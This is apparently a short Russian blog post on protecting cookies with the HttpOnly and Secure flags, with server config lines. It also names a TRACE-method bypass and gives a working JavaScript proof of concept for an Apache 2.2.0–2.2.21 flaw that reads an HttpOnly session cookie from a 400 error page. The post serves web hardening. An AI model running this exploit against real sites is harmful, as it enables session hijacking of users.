Запретить чтение cookie через javascrpt
HttpOnly позволит передавать куки только в заголовках, это запретит их чтение через javascrpt
Set-Cookie: MyCookieName=The value of my cookie; path=/; HttpOnly
Кофиг для сервера:
<httpCookies httpOnlyCookies="true"/>
Передача cookie через ssl (если соединение не ssl, то cookie не передаются:
Set-Cookie: MyCookieName=The value of my cookie; path=/; secure
Кофиг для сервера:
<httpCookies requireSSL="true" />
Сервис определения флагов cookie. https://asafaweb.com/
Exploit 1
Используем метод TRACE. Сервер ответит тем же запросом, который отправил клиент.
Exploit 2
- Affected versions: 2.2.0 - 2.2.21
- Risk: moderately critical (xss needed)
Суть эксплойта: если сайт на Apache 2.2.0 - 2.2.21 и содержимое заголовков
HTTP-Header слишком большое,
то сервер отвечает ошибкой с номером 400, отправляя вместе с ответом
содержимое заголовка.
<?php header("Set-Cookie: SESSIONID=ImAhttpOnlyCookie; path=/; httponly"); ?> <script type="text/javascript"> var today = new Date(); var expire = new Date(); expire.setTime(today.getTime() + 2000); gotCookie=false; padding=""; for (j=0;j<=1000;++j) { padding+="A"; } for (i=0;i < 10; ++i) { document.cookie="z"+i+"="+padding+"; expires="+expire.toGMTString()+";path=/;" } function handler() { if (!gotCookie && this.responseText.length > 1) { text = /(SESSIONID=[^;]*)/i.exec(this.responseText); alert(text[1]); gotCookie=true; } } var xhr = new XMLHttpRequest(); xhr.onreadystatechange = handler; xhr.open("GET", "/httponly.php"); xhr.send(); </script>
Комментариев нет:
Отправить комментарий